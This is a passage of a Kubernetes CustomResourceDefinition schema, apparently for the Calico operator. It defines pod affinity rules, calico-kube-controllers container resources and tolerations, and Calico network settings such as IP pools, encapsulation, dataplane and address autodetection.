                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                  type: object
                                containers:
                                  description: |-
                                    Containers is a list of calico-kube-controllers containers.
                                    If specified, this overrides the specified calico-kube-controllers Deployment containers.
                                    If omitted, the calico-kube-controllers Deployment will use its default values for its containers.
                                  items:
                                    description: CalicoKubeControllersDeploymentContainer
                                      is a calico-kube-controllers Deployment container.
                                    properties:
                                      name:
                                        description: |-
                                          Name is an enum which identifies the calico-kube-controllers Deployment container by name.
                                          Supported values are: calico-kube-controllers, es-calico-kube-controllers
                                        enum:
                                        - calico-kube-controllers
                                        - es-calico-kube-controllers
                                        type: string
                                      resources:
                                        description: |-
                                          Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                          If specified, this overrides the named calico-kube-controllers Deployment container's resources.
                                          If omitted, the calico-kube-controllers Deployment will use its default value for this container's resources.
                                          If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                        properties:
                                          claims:
                                            description: |-
                                              Claims lists the names of resources, defined in spec.resourceClaims,
                                              that are used by this container.
                                              This is an alpha field and requires enabling the
                                              DynamicResourceAllocation feature gate.
                                              This field is immutable. It can only be set for containers.
                                            items:
                                              description: ResourceClaim references
                                                one entry in PodSpec.ResourceClaims.
                                              properties:
                                                name:
                                                  description: |-
                                                    Name must match the name of one entry in pod.spec.resourceClaims of
                                                    the Pod where this field is used. It makes that resource available
                                                    inside a container.
                                                  type: string
                                                request:
                                                  description: |-
                                                    Request is the name chosen for a request in the referenced claim.
                                                    If empty, everything from the claim is made available, otherwise
                                                    only the result of this request.
                                                  type: string
                                              required:
                                              - name
                                              type: object
                                            type: array
                                            x-kubernetes-list-map-keys:
                                            - name
                                            x-kubernetes-list-type: map
                                          limits:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Limits describes the maximum amount of compute resources allowed.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                          requests:
                                            additionalProperties:
                                              anyOf:
                                              - type: integer
                                              - type: string
                                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                              x-kubernetes-int-or-string: true
                                            description: |-
                                              Requests describes the minimum amount of compute resources required.
                                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                            type: object
                                        type: object
                                    required:
                                    - name
                                    type: object
                                  type: array
                                nodeSelector:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    NodeSelector is the calico-kube-controllers pod's scheduling constraints.
                                    If specified, each of the key/value pairs are added to the calico-kube-controllers Deployment nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If used in conjunction with ControlPlaneNodeSelector, that nodeSelector is set on the calico-kube-controllers Deployment
                                    and each of this field's key/value pairs are added to the calico-kube-controllers Deployment nodeSelector provided
                                    the key does not already exist in the object's nodeSelector.
                                    If omitted, the calico-kube-controllers Deployment will use its default value for nodeSelector.
                                    WARNING: Please note that this field will modify the default calico-kube-controllers Deployment nodeSelector.
                                  type: object
                                tolerations:
                                  description: |-
                                    Tolerations is the calico-kube-controllers pod's tolerations.
                                    If specified, this overrides any tolerations that may be set on the calico-kube-controllers Deployment.
                                    If omitted, the calico-kube-controllers Deployment will use its default value for tolerations.
                                    WARNING: Please note that this field will override the default calico-kube-controllers Deployment tolerations.
                                  items:
                                    description: |-
                                      The pod this Toleration is attached to tolerates any taint that matches
                                      the triple <key,value,effect> using the matching operator <operator>.
                                    properties:
                                      effect:
                                        description: |-
                                          Effect indicates the taint effect to match. Empty means match all taint effects.
                                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                        type: string
                                      key:
                                        description: |-
                                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                        type: string
                                      operator:
                                        description: |-
                                          Operator represents a key's relationship to the value.
                                          Valid operators are Exists and Equal. Defaults to Equal.
                                          Exists is equivalent to wildcard for value, so that a pod can
                                          tolerate all taints of a particular category.
                                        type: string
                                      tolerationSeconds:
                                        description: |-
                                          TolerationSeconds represents the period of time the toleration (which must be
                                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                                          negative values will be treated as 0 (evict immediately) by the system.
                                        format: int64
                                        type: integer
                                      value:
                                        description: |-
                                          Value is the taint value the toleration matches to.
                                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                                        type: string
                                    type: object
                                  type: array
                              type: object
                          type: object
                      type: object
                  type: object
                calicoNetwork:
                  description: CalicoNetwork specifies networking configuration options
                    for Calico.
                  properties:
                    bgp:
                      description: BGP configures whether or not to enable Calico's
                        BGP capabilities.
                      enum:
                      - Enabled
                      - Disabled
                      type: string
                    containerIPForwarding:
                      description: |-
                        ContainerIPForwarding configures whether ip forwarding will be enabled for containers in the CNI configuration.
                        Default: Disabled
                      enum:
                      - Enabled
                      - Disabled
                      type: string
                    hostPorts:
                      description: |-
                        HostPorts configures whether or not Calico will support Kubernetes HostPorts. Valid only when using the Calico CNI plugin.
                        Default: Enabled
                      enum:
                      - Enabled
                      - Disabled
                      type: string
                    ipPools:
                      description: |-
                        IPPools contains a list of IP pools to manage. If nil, a single IPv4 IP pool
                        will be created by the operator. If an empty list is provided, the operator will not create any IP pools and will instead
                        wait for IP pools to be created out-of-band.
                        IP pools in this list will be reconciled by the operator and should not be modified out-of-band.
                      items:
                        properties:
                          allowedUses:
                            description: |-
                              AllowedUse controls what the IP pool will be used for.  If not specified or empty, defaults to
                              ["Tunnel", "Workload"] for back-compatibility
                            items:
                              type: string
                            type: array
                          assignmentMode:
                            description: AssignmentMode determines if IP addresses
                              from this pool should be  assigned automatically or
                              on request only
                            type: string
                          blockSize:
                            description: |-
                              BlockSize specifies the CIDR prefex length to use when allocating per-node IP blocks from
                              the main IP pool CIDR.
                              Default: 26 (IPv4), 122 (IPv6)
                            format: int32
                            type: integer
                          cidr:
                            description: CIDR contains the address range for the IP
                              Pool in classless inter-domain routing format.
                            type: string
                          disableBGPExport:
                            default: false
                            description: |-
                              DisableBGPExport specifies whether routes from this IP pool's CIDR are exported over BGP.
                              Default: false
                            type: boolean
                          disableNewAllocations:
                            description: |-
                              DisableNewAllocations specifies whether or not new IP allocations are allowed from this pool.
                              This is useful when you want to prevent new pods from receiving IP addresses from this pool, without
                              impacting any existing pods that have already been assigned addresses from this pool.
                            type: boolean
                          encapsulation:
                            description: |-
                              Encapsulation specifies the encapsulation type that will be used with
                              the IP Pool.
                              Default: IPIP
                            enum:
                            - IPIPCrossSubnet
                            - IPIP
                            - VXLAN
                            - VXLANCrossSubnet
                            - None
                            type: string
                          name:
                            description: Name is the name of the IP pool. If omitted,
                              this will be generated.
                            type: string
                          natOutgoing:
                            description: |-
                              NATOutgoing specifies if NAT will be enabled or disabled for outgoing traffic.
                              Default: Enabled
                            enum:
                            - Enabled
                            - Disabled
                            type: string
                          nodeSelector:
                            description: |-
                              NodeSelector specifies the node selector that will be set for the IP Pool.
                              Default: 'all()'
                            type: string
                        required:
                        - cidr
                        type: object
                      maxItems: 25
                      type: array
                    linuxDataplane:
                      description: |-
                        LinuxDataplane is used to select the dataplane used for Linux nodes. In particular, it
                        causes the operator to add required mounts and environment variables for the particular dataplane.
                        If not specified, iptables mode is used.
                        Default: Iptables
                      enum:
                      - Iptables
                      - BPF
                      - VPP
                      - Nftables
                      type: string
                    linuxPolicySetupTimeoutSeconds:
                      description: |-
                        LinuxPolicySetupTimeoutSeconds delays new pods from running containers
                        until their policy has been programmed in the dataplane.
                        The specified delay defines the maximum amount of time
                        that the Calico CNI plugin will wait for policy to be programmed.
                        Only applies to pods created on Linux nodes.
                        * A value of 0 disables pod startup delays.
                        Default: 0
                      format: int32
                      type: integer
                    mtu:
                      description: |-
                        MTU specifies the maximum transmission unit to use on the pod network.
                        If not specified, Calico will perform MTU auto-detection based on the cluster network.
                      format: int32
                      type: integer
                    multiInterfaceMode:
                      description: |-
                        MultiInterfaceMode configures what will configure multiple interface per pod. Only valid for Calico Enterprise installations
                        using the Calico CNI plugin.
                        Default: None
                      enum:
                      - None
                      - Multus
                      type: string
                    nodeAddressAutodetectionV4:
                      description: |-
                        NodeAddressAutodetectionV4 specifies an approach to automatically detect node IPv4 addresses. If not specified,
                        will use default auto-detection settings to acquire an IPv4 address for each node.
                      properties:
                        canReach:
                          description: |-
                            CanReach enables IP auto-detection based on which source address on the node is used to reach the
                            specified IP or domain.
                          type: string
                        cidrs:
                          description: |-
                            CIDRS enables IP auto-detection based on which addresses on the nodes are within
                            one of the provided CIDRs.
                          items:
                            type: string
                          type: array
                        firstFound:
                          description: |-
                            FirstFound uses default interface matching parameters to select an interface, performing best-effort
                            filtering based on well-known interface names.
                          type: boolean
                        interface:
                          description: Interface enables IP auto-detection based on
                            interfaces that match the given regex.
                          type: string
                        kubernetes:
                          description: Kubernetes configures Calico to detect node
                            addresses based on the Kubernetes API.
                          enum:
                          - NodeInternalIP
                          type: string
                        skipInterface:
                          description: |-
                            SkipInterface enables IP auto-detection based on interfaces that do not match
                            the given regex.
                          type: string
                      type: object
                    nodeAddressAutodetectionV6:
                      description: |-
                        NodeAddressAutodetectionV6 specifies an approach to automatically detect node IPv6 addresses. If not specified,
                        IPv6 addresses will not be auto-detected.
                      properties:
                        canReach:
                          description: |-
                            CanReach enables IP auto-detection based on which source address on the node is used to reach the
                            specified IP or domain.
                          type: string
                        cidrs:
                          description: |-
                            CIDRS enables IP auto-detection based on which addresses on the nodes are within
                            one of the provided CIDRs.
                          items:
                            type: string
                          type: array
                        firstFound:
                          description: |-
                            FirstFound uses default interface matching parameters to select an interface, performing best-effort
                            filtering based on well-known interface names.
                          type: boolean
                        interface:
                          description: Interface enables IP auto-detection based on
                            interfaces that match the given regex.
                          type: string
                        kubernetes:
                          description: Kubernetes configures Calico to detect node
                            addresses based on the Kubernetes API.
                          enum:
                          - NodeInternalIP
                          type: string
                        skipInterface:
                          description: |-
                            SkipInterface enables IP auto-detection based on interfaces that do not match
                            the given regex.
                          type: string
                      type: object
                    sysctl:
                      description: Sysctl configures sysctl parameters for tuning
                        plugin
                      items:
                        properties:
                          key:
                            enum:
                            - net.ipv4.tcp_keepalive_intvl
                            - net.ipv4.tcp_keepalive_probes
                            - net.ipv4.tcp_keepalive_time
                            type: string
                          value:
                            type: string
                        required:
                        - key
                        - value
                        type: object
                      type: array
                    windowsDataplane:
                      description: |-
                        WindowsDataplane is used to select the dataplane used for Windows nodes. In particular, it
                        causes the operator to add required mounts and environment variables for the particular dataplane.
                        If not specified, it is disabled and the operator will not render the Calico Windows nodes daemonset.
                        Default: Disabled
                      enum:
                      - HNS
                      - Disabled
                      type: string
                  type: object
                calicoNodeDaemonSet:
                  description: |-
                    CalicoNodeDaemonSet configures the calico-node DaemonSet. If used in
                    conjunction with the deprecated ComponentResources, then these overrides take precedence.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the DaemonSet.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the calico-node DaemonSet.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created DaemonSet pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the calico-node DaemonSet.
                            If omitted, the calico-node DaemonSet will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        template:
                          description: Template describes the calico-node DaemonSet
                            pod that will be created.
                          properties:
                            metadata:
                              description: |-
                                Metadata is a subset of a Kubernetes object's metadata that is added to
                                the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the calico-node DaemonSet's PodSpec.
                              properties:
                                affinity:
                                  description: |-
                                    Affinity is a group of affinity scheduling rules for the calico-node pods.
